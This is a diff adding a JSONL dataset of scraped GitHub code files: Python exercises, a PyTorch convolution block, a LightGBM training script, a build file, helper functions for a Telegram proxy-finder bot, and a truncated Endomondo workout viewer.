diff --git "a/4189.jsonl" "b/4189.jsonl" new file mode 100644--- /dev/null +++ "b/4189.jsonl" @@ -0,0 +1,576 @@ +{"seq_id":"39796766800","text":"import json;\n\ndef feladat_beker():\n nev = input(\"Mi a feladat neve? \")\n idotartam = int(input(\"Hany napig tart megcsinalni? \"))\n hatarido = int(input(\"Meddig kell megcsinalni? \"))\n return {\"nev\":nev, \"idotartam\":idotartam, \"hatarido\":hatarido}\n\ndef feladat_beutemez(feladat):\n kezdes = int(input(\"Hanyadik naptol kezdjem el a feladatot? \"))\n while kezdes + feladat[\"idotartam\"] - 1 > feladat[\"hatarido\"]:\n kezdes = int(input(\"Nem jo kezdes, hataridoig nem keszulne el, adj meg uj kezdest! \"))\n return {\"feladat\":feladat, \"kezdes\":kezdes}\n\ndef munka_intervallum(munka):\n kezdes = munka[\"kezdes\"]\n befejezes = kezdes + munka[\"feladat\"][\"idotartam\"]-1\n return (kezdes,befejezes)\n\ndef munka_kiir(munka):\n nev = munka[\"feladat\"][\"nev\"]\n (kezdes,befejezes) = munka_intervallum(munka)\n print(nev,\": \",kezdes,\"-\",befejezes)\n\ndef beosztas_kiir(beosztas):\n for munka in beosztas:\n munka_kiir(munka)\n\ndef munka_utkozik(munka1,munka2): \n (kezdes1,befejezes1) = munka_intervallum(munka1)\n (kezdes2,befejezes2) = munka_intervallum(munka2)\n return not (befejezes1 < kezdes2 or befejezes2 < kezdes1)\n\ndef beutemezheto(beosztas,ujmunka):\n for munka in beosztas:\n if munka_utkozik(munka,ujmunka): return False\n return True\n\ndef uj_munka(beosztas):\n feladat=feladat_beker()\n munka=feladat_beutemez(feladat)\n if beutemezheto(beosztas,munka): \n beosztas.append(munka)\n else:\n print(\"Bocsi, utkozik valamivel.\")\n\ndef beosztas_betolt(fajlnev):\n try:\n infile=open(fajlnev,\"rt\")\n beosztas=json.load(infile)\n infile.close()\n except:\n beosztas=[]\n return beosztas\n\ndef beosztas_kiment(beosztas,fajlnev):\n outfile=open(fajlnev,\"wt\")\n json.dump(beosztas,outfile)\n outfile.close()\n\ndef beosztas_jelentes(beosztas):\n fajlnev=input(\"Melyik fajlba szeretnel jelentest generalni? \")\n fajl=open(fajlnev+\".csv\",\"wt\")\n fajl.write(\"Feladat neve,Hatarido (nap), Idotartam(nap),,Elvallalt kezdes(nap),Tervezett befejezes(nap)\\n\")\n for munka in beosztas:\n (kezdes,befejezes)=munka_intervallum(munka)\n fajl.write(munka[\"feladat\"][\"nev\"])\n fajl.write(\",\")\n fajl.write(str(munka[\"feladat\"][\"hatarido\"]))\n fajl.write(\",\")\n fajl.write(str(munka[\"feladat\"][\"idotartam\"]))\n fajl.write(\",\")\n fajl.write(\",\")\n fajl.write(str(kezdes))\n fajl.write(\",\")\n fajl.write(str(befejezes))\n fajl.write(\"\\n\")\n fajl.close()\n\nmentes_fajlnev=input(\"Melyik fajlbol szeretnel dolgozni? \")\nbeosztas=beosztas_betolt(mentes_fajlnev)\nwhile True:\n valasz=input(\"Mit szeretnel csinalni? (uj/listaz/kilep/ment/jelentes) \")\n if valasz==\"uj\":\n uj_munka(beosztas)\n elif valasz == \"listaz\":\n beosztas_kiir(beosztas)\n elif valasz == \"kilep\":\n break\n elif valasz == \"ment\":\n beosztas_kiment(beosztas,mentes_fajlnev)\n elif valasz == \"jelentes\":\n beosztas_jelentes(beosztas)\n else:\n print(\"Ismeretlen parancs.\")\n\n","repo_name":"hegyhati/ClassRoomExamples","sub_path":"SOE/ProgAlap1/2020_11_23_gyakorlas_beosztas/scheduling.py","file_name":"scheduling.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"hu","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"41845376655","text":"# (ref) https://github.com/sail-sg/inceptionnext/blob/main/models/inceptionnext.py\nimport torch \nimport torch.nn as nn \n\nfrom timm.models.layers import trunc_normal_, DropPath\n\n\n\nclass InceptionDWConv2d(nn.Module):\n \"\"\" Inception depthweise convolution\n \"\"\"\n def __init__(self, in_channels, square_kernel_size=3, band_kernel_size=11, branch_ratio=0.125):\n super().__init__()\n \n gc = int(in_channels * branch_ratio) # channel numbers of a convolution branch\n self.dwconv_hw = nn.Conv2d(gc, gc, square_kernel_size, padding=square_kernel_size//2, groups=gc)\n self.dwconv_w = nn.Conv2d(gc, gc, kernel_size=(1, band_kernel_size), padding=(0, band_kernel_size//2), groups=gc)\n self.dwconv_h = nn.Conv2d(gc, gc, kernel_size=(band_kernel_size, 1), padding=(band_kernel_size//2, 0), groups=gc)\n self.split_indexes = (in_channels - 3 * gc, gc, gc, gc)\n \n def forward(self, x):\n x_id, x_hw, x_w, x_h = torch.split(x, self.split_indexes, dim=1)\n return torch.cat(\n (x_id, self.dwconv_hw(x_hw), self.dwconv_w(x_w), self.dwconv_h(x_h)), \n dim=1,\n )\n \n\nif __name__ == \"__main__\": \n dim = 96\n x = torch.randn(128, dim, 56, 56) # input \n\n InceptionBlock = InceptionDWConv2d(dim, square_kernel_size=3, band_kernel_size=11, branch_ratio=0.125) # 0.125 = 1/8\n \n output = InceptionBlock(x)\n print(output.shape)","repo_name":"DoranLyong/Awesome-TokenMixer-pytorch","sub_path":"model/conv/InceptionDWConv2d_InceptionNeXt.py","file_name":"InceptionDWConv2d_InceptionNeXt.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"2834953692","text":"\nimport numpy as np\nimport lightgbm as lgb\nfrom lightgbm import LGBMRegressor\nfrom skl2onnx.common.data_types import FloatTensorType, Int64TensorType\nimport onnxmltools\nimport pickle\nFILE=open('CODA_TB_Solicited_Meta_Info.csv','r')\ntrain_data=[]\ntrain_gs=[]\nfor lll in FILE:\n lll=lll.strip()\n ttt=lll.split(',')\n data=np.load('set_final/' + ttt[1]+ '.npy')\n ttt=ttt[1].split('-recording')\n my_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(int(float(ttt[0])/1000)))\n t=my_time.split(' ')\n t=t[0].split('-')\n data=np.hstack(((float(t[0])),data))\n data=np.hstack(((float(t[1])),data))\n test_data.append(data)\nFILE.close()\n\n\ntrain_data=np.asarray(train_data).astype('float32')\ntrain_gs=np.asarray(train_gs).astype('float32')\n\nlgb_train = lgb.Dataset(train_data, train_gs)\n\nparams = {\n 'boosting_type': 'gbdt',\n 'n_estimators': 1000,\n 'objective': 'regression',\n 'learning_rate': 0.04,\n 'reg_alpha': 2.0,\n}\n\nmodel= lgb.train(params,\n lgb_train,\n num_boost_round=1000\n# num_boost_round=1\n)\npickle.dump(model, open('model_final.pkl', 'wb'))\n\ninitial_type = [('float_input', FloatTensorType([None, train_data.shape[1]]))]\nonnx_model = onnxmltools.convert_lightgbm(model, initial_types=initial_type)\nonnxmltools.utils.save_model(onnx_model, 'model_final.onnx')\n","repo_name":"GuanLab/CODA_TB_DREAM_Challenge","sub_path":"sub1/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"37302822074","text":"k = int(input())\n\ndecays = []\n\ndef countSol(coeff, n, rhs):\n print(coeff, rhs)\n dp = [0 for _ in range(rhs + 1)]\n dp[0] = 1\n for i in range(n):\n for j in range(coeff[i], rhs + 1):\n dp[j] += dp[j - coeff[i]]\n return dp[rhs]\n\nfor _ in range(k):\n a, b = map(int, input().split())\n decays.append((a, b))\n\nq = int(input())\n\nfor _ in range(q):\n m1, z1, m2, z2 = map(int, input().split())\n x = m1 - m2\n y = z1 - z2\n print(countSol([a for a, b in decays], k, x))\n print(countSol([b for a, b in decays], k, y))","repo_name":"theabbie/leetcode","sub_path":"miscellaneous/The_Stark_Reactor.py","file_name":"The_Stark_Reactor.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"74916862118","text":"#!python\nimport os, subprocess\n\nopts = Variables([], ARGUMENTS)\n\n# Gets the standard flags CC, CCX, etc.\nenv = DefaultEnvironment()\n\n# Define our options. Use future-proofed names for platforms.\nplatform_array = [\"\", \"windows\", \"macos\", \"linux\"]\nopts.Add(EnumVariable(\"target\", \"Compilation target\", \"debug\", [\"d\", \"debug\", \"r\", \"release\"]))\nopts.Add(EnumVariable(\"platform\", \"Compilation platform\", \"\", platform_array))\nopts.Add(EnumVariable(\"p\", \"Alias for 'platform'\", \"\", platform_array))\nopts.Add(BoolVariable(\"use_llvm\", \"Use the LLVM / Clang compiler\", \"no\"))\n\n# Only support 64-bit systems.\nbits = 64\n\n# Updates the environment with the option variables.\nopts.Update(env)\n\n# Process platform arguments.\nif env[\"p\"] != \"\":\n env[\"platform\"] = env[\"p\"]\n\nif env[\"platform\"] == \"\":\n print(\"No valid target platform selected.\")\n quit()\n\n# Process other arguments.\nif env[\"use_llvm\"]:\n env[\"CXX\"] = \"clang++\"\n\nenv.Append(CCFLAGS=[\"-Wno-unused-result\"])\n\n# Check our platform specifics\nif env[\"platform\"] == \"macos\":\n if env[\"target\"] in (\"debug\", \"d\"):\n env.Append(CCFLAGS=[\"-g\", \"-O2\", \"-arch\", \"x86_64\"])\n env.Append(LINKFLAGS=[\"-arch\", \"x86_64\"])\n else:\n env.Append(CCFLAGS=[\"-g\", \"-O3\", \"-arch\", \"x86_64\"])\n env.Append(LINKFLAGS=[\"-arch\", \"x86_64\"])\n\nelif env[\"platform\"] == \"linux\":\n if env[\"target\"] in (\"debug\", \"d\"):\n env.Append(CCFLAGS=[\"-fPIC\", \"-g3\", \"-Og\"])\n else:\n env.Append(CCFLAGS=[\"-fPIC\", \"-g\", \"-O3\"])\n\nelif env[\"platform\"] == \"windows\":\n # This makes sure to keep the session environment variables\n # on Windows, so that you can run scons in a VS 2017 prompt\n # and it will find all the required tools.\n env.Append(ENV=os.environ)\n\n env.Append(CCFLAGS=[\"-DWIN32\", \"-D_WIN32\", \"-D_WINDOWS\", \"-W3\", \"-GR\", \"-D_CRT_SECURE_NO_WARNINGS\"])\n if env[\"target\"] in (\"debug\", \"d\"):\n env.Append(CCFLAGS=[\"-EHsc\", \"-D_DEBUG\", \"-MDd\"])\n else:\n env.Append(CCFLAGS=[\"-O2\", \"-EHsc\", \"-DNDEBUG\", \"-MD\"])\n\n# Tweak this if you want to use different folders,\n# or more folders, to store your source code in.\nenv.Append(CPPPATH=[\"./\", \"../src/\"])\nsources = Glob(\"*.cpp\") + Glob(\"../src/*.cpp\")\n\nprogram = env.Program(target=\"./polypartition_test\", source=sources)\n\nDefault(program)\n\n# Generates help for the -h scons option.\nHelp(opts.GenerateHelpText(env))\n","repo_name":"ivanfratric/polypartition","sub_path":"test/SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":571,"dataset":"github-code","pt":"18"} +{"seq_id":"35420034654","text":"import socket\r\nimport S5Crypto\r\nimport os\r\nimport time\r\nfrom JDatabase import JsonDatabase\r\nimport JDatabase as jdb\r\n\r\ndef create_historial(username,proxy_new,ip,port):\r\n ruta = 'historial'\r\n archivo = f'{ruta}/{username}.txt'\r\n try:\r\n if not os.path.exists(ruta):os.makedirs(ruta)\r\n if not os.path.exists(ruta):open(archivo, 'w')\r\n write='PROXY : '+str(proxy_new)\r\n write+=' -- IP : '+str(ip)\r\n write+=' -- PUERTO : '+str(port)+'\\n'\r\n with open(archivo, 'a') as db :db.write(write)\r\n except Exception as ex:print(str(ex))\r\n\r\ndef create_find(userid,proxy,port):\r\n proxy_new = S5Crypto.encrypt(f'{proxy}')\r\n ruta = 'pr_finds'\r\n archivo = f'{ruta}/{userid}.txt'\r\n try:\r\n if not os.path.exists(ruta):os.makedirs(ruta)\r\n if not os.path.exists(ruta):open(archivo, 'w')\r\n write='> PROXY : '+str(proxy_new)\r\n write+='\\n> PUERTO : '+str(port)+'\\n\\n'\r\n with open(archivo, 'a') as db :db.write(write)\r\n except Exception as ex:print(str(ex))\r\n\r\ndef create_find_white(userid):\r\n ruta = 'pr_finds'\r\n archivo = f'{ruta}/{userid}.txt'\r\n try:\r\n if not os.path.exists(ruta):os.makedirs(ruta)\r\n if not os.path.exists(ruta):open(archivo, 'w')\r\n except Exception as ex:print(str(ex))\r\n\r\ndef view_db(chat,username,bot):\r\n ruta = 'historial'\r\n archivo = f'{ruta}/{username}.txt'\r\n try:\r\n with open(archivo, 'rb') as db, open(\"PR-FinderV2-Cuadrado.jpg\", \"rb\") as miniatura:\r\n bot.sendChatAction(chat,\"upload_document\")\r\n bot.sendDocument(chat_id=chat, parse_mode='HTML', document=db, caption='📋 Historial 📋\\n🧬 User : @'+username, thumb=miniatura)\r\n except:\r\n bot.sendMessage(chat,'😬 Ups ....\\n» Todavía no tienes un Historial de Proxys — Puertos — IP\\no :\\n» El bot se reinició y se borraron todos los datos (historial,database)')\r\n\r\ndef view_pr(bot,update,ip):\r\n userid = update.effective_user.id\r\n ruta = 'pr_finds'\r\n archivo = f'{ruta}/{userid}.txt'\r\n file = open(f'{ruta}/{userid}.txt', 'r')\r\n #try:\r\n # with open(archivo, 'rb') as db, open(\"PR-FinderV2-Cuadrado.jpg\", \"rb\") as miniatura:\r\n # bot.sendChatAction(update.message.chat.id,\"upload_document\")\r\n # linea=file.readlines()\r\n # total_lines=len(linea)\r\n # file.close()\r\n # bot.sendDocument(chat_id=update.message.chat.id, parse_mode='HTML', document=db, caption='📋 PUERTOS ABIERTOS: {}'.format(total_lines), thumb=miniatura)\r\n # os.remove(archivo)\r\n try:\r\n data = file.read()\r\n bot.sendMessage(chat_id=update.message.chat.id,text='🥳 SCAN A IP FINALIZADO 🥳\\n🛰️ IP : '+ip+'\\n\\n'+data)\r\n file.close()\r\n os.remove(archivo)\r\n except Exception as ex:\r\n bot.sendMessage(update.message.chat.id,'😬 Ups ....\\n» '+str(ex))\r\n\r\ndef get_db(isadmin,bot,chat,getUser):\r\n if isadmin:\r\n with open(\"database.jdb\", \"rb\") as db, open(\"PR-FinderV2-Cuadrado.jpg\", \"rb\") as miniatura:\r\n bot.sendChatAction(chat,\"upload_document\")\r\n bot.sendDocument(chat_id=chat, parse_mode=\"HTML\", document=db, caption='🛰 BASE DE DATOS 🛰', thumb=miniatura)\r\n elif getUser:\r\n bot.sendMessage(chat,'✖️No Tiene Permiso✖️')\r\n\r\ndef start_i(username,userid,userdata,isadmin,listar):\r\n msg = 'Bienvenido al BOT PR-Finder V2 🛰\\n'\r\n msg+= 'PR-FinderV2.3🛰 | Code by : @AresDza\\n\\n'\r\n if username != 'None' or username != 'none':\r\n msg+= '🧬 USERNAME : @' + str(username)+'\\n'\r\n msg+= '🆔 ID :
' + str(userid)+'
\\n\\n'\r\n msg+= '🛰 IP : ' + str(userdata['ip'])+'\\n'\r\n listado = '🗒 LISTAR : SI'\r\n if listar:listado = '🗒 LISTAR : NO'\r\n msg+= listado + '\\n'\r\n msg+= '▶️ PUERTO INICIAL : ' + str(userdata['rango_minimo'])+'\\n'\r\n msg+= '⏸ PUERTO FINAL : ' + str(userdata['rango_maximo'])+'\\n\\n'\r\n stat = '👤 ‖USER‖ 👤'\r\n if isadmin:stat = '👑 ‖OWNER‖ 👑'\r\n msg+= stat + '\\n'\r\n return msg\r\n\r\ndef porcentaje(rango_max,rango_min,port,info,bot,chat,sms,ip):\r\n maxim = int(rango_max) - int(rango_min)\r\n actual = (int(port)+1) - int(rango_min)\r\n porcent = actual / maxim\r\n porcent *= 100\r\n porcent = int(str(porcent).split('.')[0])\r\n if porcent in range(0,10):\r\n n = '🟩'*0\r\n b = '⬛️'*10\r\n elif porcent in range(10,20):\r\n n = '🟩'*1\r\n b = '⬛️'*9\r\n elif porcent in range(20,30):\r\n n = '🟩'*2\r\n b = '⬛️'*8\r\n elif porcent in range(30,40):\r\n n = '🟩'*3\r\n b = '⬛️'*7\r\n elif porcent in range(40,50):\r\n n = '🟩'*4\r\n b = '⬛️'*6\r\n elif porcent in range(50,60):\r\n n = '🟩'*5\r\n b = '⬛️'*5\r\n elif porcent in range(60,70):\r\n n = '🟩'*6\r\n b = '⬛️'*4\r\n elif porcent in range(70,80):\r\n n = '🟩'*7\r\n b = '⬛️'*3\r\n elif porcent in range(80,90):\r\n n = '🟩'*8\r\n b = '⬛️'*2\r\n elif porcent in range(90,100):\r\n n = '🟩'*9\r\n b = '⬛️'*1\r\n elif porcent == 100:\r\n n = '🟩'*10\r\n b = '⬛️'*0\r\n\r\n if porcent != 100 :porcente = '☑️'\r\n else :porcente = '✅'\r\n progress = n+b\r\n\r\n msg = '🛰 Buscando Proxy!!\\n🌐 IP : '+str(ip)+'\\n'\r\n msg+='⏯ PUERTOS : '+str(rango_min)+'-'+str(int(rango_max)-1)\r\n msg+='\\n'+progress\r\n msg+='\\n'+porcente+' PORCIENTO : '+str(porcent)+'%\\n➖➖➖➖➖➖➖\\n'\r\n msg+=info+'\\n➖➖➖➖➖➖➖'\r\n bot.editMessageText(chat_id=chat,message_id=sms.message_id,parse_mode=\"HTML\",text=msg)","repo_name":"AresDza/PR-FinderV2.3","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":5688,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"33655321949","text":"\"\"\"\nhttp://pythontutor.ru/lessons/lists/problems/same_sign_neighbours/\nДан список чисел. Если в нем есть два соседних элемента одного знака, выведите эти числа.\nЕсли соседних элементов одного знака нет — не выводите ничего. Если таких пар соседей несколько — выведите первую пару.\n\"\"\"\n\n_l = input().split()\nl = [int(i) for i in _l]\n\nfor i in range(len(l) - 1):\n if l[i] < 0 and l[i + 1] < 0 or l[i] > 0 and l[i + 1] > 0:\n print(l[i], l[i + 1])\n break\n","repo_name":"ornichola/learning-new","sub_path":"pythontutor-ru/07_lists/04_same_sign_neighbours.py","file_name":"04_same_sign_neighbours.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"ru","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"10277312125","text":"import glob\r\nimport json\r\nimport os.path\r\nimport io\r\nimport time\r\nimport pytz\r\nimport datetime\r\nimport emoji\r\nimport pickle\r\nimport configparser\r\n\r\nfrom PIL import Image, ImageTk\r\nimport PySimpleGUI as sg\r\n\r\n#interface declarations\r\nsg.theme(\"SystemDefault\")\r\n\r\n#logic declarations\r\nworkout_path = '/Workouts/'\r\n\r\nSPORTS = {\r\n 0: 'Running',\r\n 1: 'Cycling, transport',\r\n 2: 'Cycling, sport',\r\n 3: 'Mountain biking',\r\n 4: 'Skating',\r\n 5: 'Roller skiing',\r\n 6: 'Skiing, cross country',\r\n 7: 'Skiing, downhill',\r\n 8: 'Snowboarding',\r\n 9: 'Kayaking',\r\n 10: 'Kite surfing',\r\n 11: 'Rowing',\r\n 12: 'Sailing',\r\n 13: 'Windsurfing',\r\n 14: 'Fitness walking',\r\n 15: 'Golfing',\r\n 16: 'Hiking',\r\n 17: 'Orienteering',\r\n 18: 'Walking',\r\n 19: 'Riding',\r\n 20: 'Swimming',\r\n 21: 'Spinning',\r\n 22: 'Other',\r\n 23: 'Aerobics',\r\n 24: 'Badminton',\r\n 25: 'Baseball',\r\n 26: 'Basketball',\r\n 27: 'Boxing',\r\n 28: 'Climbing stairs',\r\n 29: 'Cricket',\r\n 30: 'Cross training',\r\n 31: 'Dancing',\r\n 32: 'Fencing',\r\n 33: 'Football, American',\r\n 34: 'Football, rugby',\r\n 35: 'Football, soccer',\r\n 36: 'Handball',\r\n 37: 'Hockey',\r\n 38: 'Pilates',\r\n 39: 'Polo',\r\n 40: 'Scuba diving',\r\n 41: 'Squash',\r\n 42: 'Table tennis',\r\n 43: 'Tennis',\r\n 44: 'Volleyball, beach',\r\n 45: 'Volleyball, indoor',\r\n 46: 'Weight training',\r\n 47: 'Yoga',\r\n 48: 'Martial arts',\r\n 49: 'Gymnastics',\r\n 50: 'Step counter'\r\n}\r\n\r\ndef get_img_data(f, maxsize=(500, 200), first=False):\r\n \"\"\"Generate image data using PIL\r\n \"\"\"\r\n img = Image.open(f)\r\n img.thumbnail(maxsize)\r\n if first: # tkinter is inactive the first time\r\n bio = io.BytesIO()\r\n img.save(bio, format=\"PNG\")\r\n imgsize=img.size\r\n del img\r\n return bio.getvalue(), imgsize\r\n return ImageTk.PhotoImage(img)\r\n\r\ndef FieldColumn(name, key, value=''):\r\n \"\"\"Generate a column that contains two text fields - label and value\r\n \"\"\"\r\n layout = [\r\n [sg.Text(name, size=(10,1)), sg.Text(value if value is not None else '', size=(18,1), key=key)]\r\n ]\r\n return sg.Col(layout, pad=(0,0))\r\n\r\n\r\n\r\ndef _to_python_time(endomondo_time):\r\n try:\r\n pt = datetime.datetime.strptime(endomondo_time, \"%Y-%m-%d %H:%M:%S.%f\").replace(tzinfo=pytz.utc)\r\n except ValueError:\r\n pt = datetime.datetime.strptime(endomondo_time, \"%Y-%m-%d %H:%M:%S %Z\").replace(tzinfo=pytz.utc)\r\n return pt\r\n\r\ndef normalizefield(wodict):\r\n \"\"\"Normalize dictionary of raw Endomondo data\r\n \"\"\"\r\n if 'speed_avg' in wodict.keys():\r\n speed = float(wodict['speed_avg'])\r\n if speed != 0 :\r\n pace_sec = 60*60 / speed\r\n res = time.gmtime(pace_sec)\r\n wodict['pace'] = time.strftime('%M:%S', res)\r\n wodict['speed'] = str(round(speed, 2))\r\n else:\r\n wodict['pace'] = '0'\r\n wodict['speed'] = '0'\r\n if 'speed_avg_kmh' in wodict.keys():\r\n speed = float(wodict['speed_avg_kmh'])\r\n if speed != 0 :\r\n pace_sec = 60*60 / speed\r\n res = time.gmtime(pace_sec)\r\n wodict['pace'] = time.strftime('%M:%S', res)\r\n wodict['speed'] = str(round(speed, 2))\r\n else:\r\n wodict['pace'] = '0'\r\n wodict['speed'] = '0'\r\n if 'speed_kmh_avg' in wodict.keys():\r\n speed = float(wodict['speed_kmh_avg'])\r\n if speed != 0 :\r\n pace_sec = 60*60 / speed\r\n res = time.gmtime(pace_sec)\r\n wodict['pace'] = time.strftime('%M:%S', res)\r\n wodict['speed'] = str(round(speed, 2))\r\n else:\r\n wodict['pace'] = '0'\r\n wodict['speed'] = '0'\r\n # return normalized\r\n if 'speed_max' in wodict.keys():\r\n speed = float(wodict['speed_max'])\r\n wodict['speed_max'] = str(round(speed, 2))\r\n if 'speed_max_kmh' in wodict.keys():\r\n speed = float(wodict['speed_max_kmh'])\r\n wodict['speed_max'] = str(round(speed, 2))\r\n if 'speed_kmh_max' in wodict.keys():\r\n speed = float(wodict['speed_kmh_max'])\r\n wodict['speed_max'] = str(round(speed, 2))\r\n # return normalized\r\n if 'duration' in wodict.keys():\r\n res = time.gmtime(float(wodict['duration']))\r\n dur = time.strftime('%H:%M:%S', res)\r\n wodict['duration'] = dur\r\n if 'duration_s' in wodict.keys():\r\n res = time.gmtime(float(wodict['duration_s']))\r\n dur = time.strftime('%H:%M:%S', res)\r\n wodict['duration'] = dur\r\n if 'duration_sec' in wodict.keys():\r\n res = time.gmtime(float(wodict['duration_sec']))\r\n dur = time.strftime('%H:%M:%S', res)\r\n wodict['duration'] = dur\r\n # return normalized\r\n if 'sport' in wodict.keys():\r\n sp = wodict['sport']\r\n if isinstance(sp, int):\r\n try:\r\n wodict['sport'] = SPORTS[sp]\r\n except KeyError:\r\n wodict['sport'] = SPORTS[22] #Unknown sport - 'Other'\r\n else:\r\n wodict['sport'] = sp.capitalize().replace('_', ' ')\r\n # return normalized\r\n if 'distance' in wodict.keys():\r\n wodict['distance'] = str(round(float(wodict['distance']),2))\r\n if 'distance_km' in wodict.keys():\r\n wodict['distance'] = str(round(float(wodict['distance_km']),2))\r\n # return normalized\r\n if 'start_time' in wodict.keys():\r\n tt = _to_python_time(wodict['start_time'])\r\n wodict['date'] = tt.date()\r\n wodict['time'] = tt.time()\r\n wodict['start_time'] = wodict['start_time']\r\n # return normalized\r\n if 'message' in wodict.keys():\r\n wodict['message'] = emoji.get_emoji_regexp().sub(r'', wodict['message'])\r\n if 'ascent' in wodict.keys():\r\n wodict['ascend_m'] = wodict['ascent']\r\n if 'descent' in wodict.keys():\r\n wodict['descend_m'] = wodict['descent']\r\n \r\n #HEART RATE\r\n if 'heart_rate_avg' in wodict.keys():\r\n wodict['heart_rate_avg_bpm'] = wodict['heart_rate_avg']\r\n if 'heart_rate_max' in wodict.keys():\r\n wodict['heart_rate_max_bpm'] = wodict['heart_rate_max']\r\n if 'heart_rate_bpm_avg' in wodict.keys():\r\n wodict['heart_rate_avg_bpm'] = wodict['heart_rate_bpm_avg']\r\n if 'heart_rate_bpm_max' in wodict.keys():\r\n wodict['heart_rate_max_bpm'] = wodict['heart_rate_bpm_max']\r\n\r\n if 'cadence_avg' in wodict.keys():\r\n wodict['cadence_avg_rpm'] = wodict['cadence_avg']\r\n if 'cadence_max' in wodict.keys():\r\n wodict['cadence_max_rpm'] = wodict['cadence_max']\r\n \r\n #ALTITUDE\r\n if 'altitude_min' in wodict.keys():\r\n wodict['altitude_min_m'] = wodict['altitude_min']\r\n if 'altitude_max' in wodict.keys():\r\n wodict['altitude_max_m'] = wodict['altitude_max']\r\n if 'altitude_m_min' in wodict.keys():\r\n wodict['altitude_min_m'] = wodict['altitude_m_min']\r\n if 'altitude_m_max' in wodict.keys():\r\n wodict['altitude_max_m'] = wodict['altitude_m_max']\r\n \r\n if 'calories' in wodict.keys():\r\n wodict['calories_kcal'] = wodict['calories']\r\n # return normalized\r\n\r\ndef loadfull(path):\r\n \"\"\"Load data from Endomondo backup\r\n \"\"\"\r\n dd=[]\r\n #create index to find workout by start_time (actually, date and time string)\r\n indx = {}\r\n fullpath = \"\".join([path, workout_path, '*.json']) #TODO: join paths correctly\r\n files = glob.glob(fullpath) #Load list of all JSON workout files\r\n total = len(files) #needed for progress bar\r\n for i, f in enumerate(files):\r\n with open(f, encoding='utf-8') as p:\r\n w = json.load(p)\r\n workout_dict = {}\r\n if isinstance(w, list):\r\n for dict in w:\r\n #skip GPS track part for workout\r\n if 'points' in dict.keys():\r\n continue\r\n normalizefield(dict)\r\n workout_dict.update(dict)\r\n else:\r\n #we suppose it's dict (and we're dealing with backup from endobackup.py)\r\n normalizefield(w)\r\n workout_dict.update(w)\r\n workout_dict.update({'json_file': f}) #add path of processed file for future references\r\n dd.append(workout_dict)\r\n if total > 1:\r\n if not sg.OneLineProgressMeter('Loading Endo Backup', i, total-1, 'kkk', path):\r\n break\r\n #sort before creating an index\r\n dd.sort(key=lambda a: a['date'])\r\n dlen = len(dd)\r\n #create index to find specific workout using start time of workout\r\n #will need it when we will download comments from Endomondo\r\n for i, d in enumerate(dd):\r\n indx[d['start_time'][:-2]] = i #-2 to remove milliseconds from start time\r\n if dlen>1:\r\n sg.OneLineProgressMeter('Creating index', i, dlen-1)\r\n return dd, indx\r\n\r\ndef updatetable(data, dd, window):\r\n \"\"\"Update data table of the main window with data from dd\r\n \"\"\"\r\n #data.clear()\r\n data = []\r\n for dict in dd:\r\n dict.setdefault('message', '') #avoid None in empty messages\r\n dict.setdefault('num_comments', '')\r\n piclist = dict.get('pictures')\r\n numpic = ' ' if piclist is None else len(piclist) #find out number of pictures in the workout\r\n data.append([dict.get('date'), dict.get('time'), dict.get('sport'),\r\n dict.get('distance'), dict.get('duration'), dict.get('pace'),\r\n numpic, dict.get('message'), dict.get('num_comments')])\r\n window['-DATA-'].update(data)\r\n\r\ndef updatecomments(dd, comm, indx):\r\n comm.sort(key=lambda a: a['start_time'])\r\n maxw = len(comm)\r\n for i, c in enumerate(comm):\r\n lcpc = c.get('num_comments')\r\n #TODO: notify if amount of workouts in databases are not the same\r\n if lcpc:\r\n #check if there are comments in workout\r\n if lcpc>0:\r\n try:\r\n #find corresponding workout in internal database\r\n j = indx[c['start_time'][:-4]]\r\n dd[j]['num_comments']=lcpc\r\n dd[j]['ecomments'] = c.get('comments')\r\n except:\r\n pass\r\n sg.OneLineProgressMeter('Updating workouts', i, maxw-1, 'kkk')\r\n\r\ndef main():\r\n #Layout of lower frame of main window \r\n details_frame = [\r\n [FieldColumn(\"Sport: \", '-SPORT-'), FieldColumn(\"Date: \",'-DATE-'),\r\n FieldColumn(\"Time: \", '-STARTTIME-'), FieldColumn(\"Duration: \", '-DURATION-'),\r\n FieldColumn(\"Distance: \", '-DISTANCE-')],\r\n [FieldColumn(\"Pace: \", '-PACE-'), FieldColumn(\"Ascent: \", '-ASC-'), \r\n FieldColumn(\"Descent: \", '-DESC-')],\r\n [sg.Frame('Note', [[sg.Text(key='-NOTE-', size=(180,6))]])]\r\n ]\r\n\r\n #List of labels for main table\r\n tabl_head = ['Date', 'Time', 'Type', 'Distance', 'Duration', 'Pace', 'Photos', 'Note', 'Comments']\r\n #Fill data for main table (needed as placeholder to define size for initial layout)\r\n data = [[' '*15,' '*15,' '*15,' '*10,' '*10,' '*10,' '*10,' '*45,' '*10] for row in range(16)]\r\n\r\n #Main window layout\r\n layout = [\r\n [sg.FolderBrowse(target='-FOLDER-'), sg.Input(key='-FOLDER-', enable_events=True), \r\n sg.Submit(), sg.Button('Fetch Comments', key='-FETCH-'), sg.Exit()],\r\n [sg.Table(data, headings=tabl_head, justification='center', select_mode='browse',\r\n key='-DATA-', num_rows=30, enable_events=True, bind_return_key=True, max_col_width=100)],\r\n [sg.Column(details_frame, expand_y=True, expand_x=True)]\r\n ]\r\n\r\n \r\n window = sg.Window('EndoView', layout, size=(1320,670), finalize=True)\r\n window['-DATA-'].bind('', '+DBL+')\r\n window['-DATA-'].bind('', '+ENTER+')\r\n\r\n config = configparser.ConfigParser()\r\n 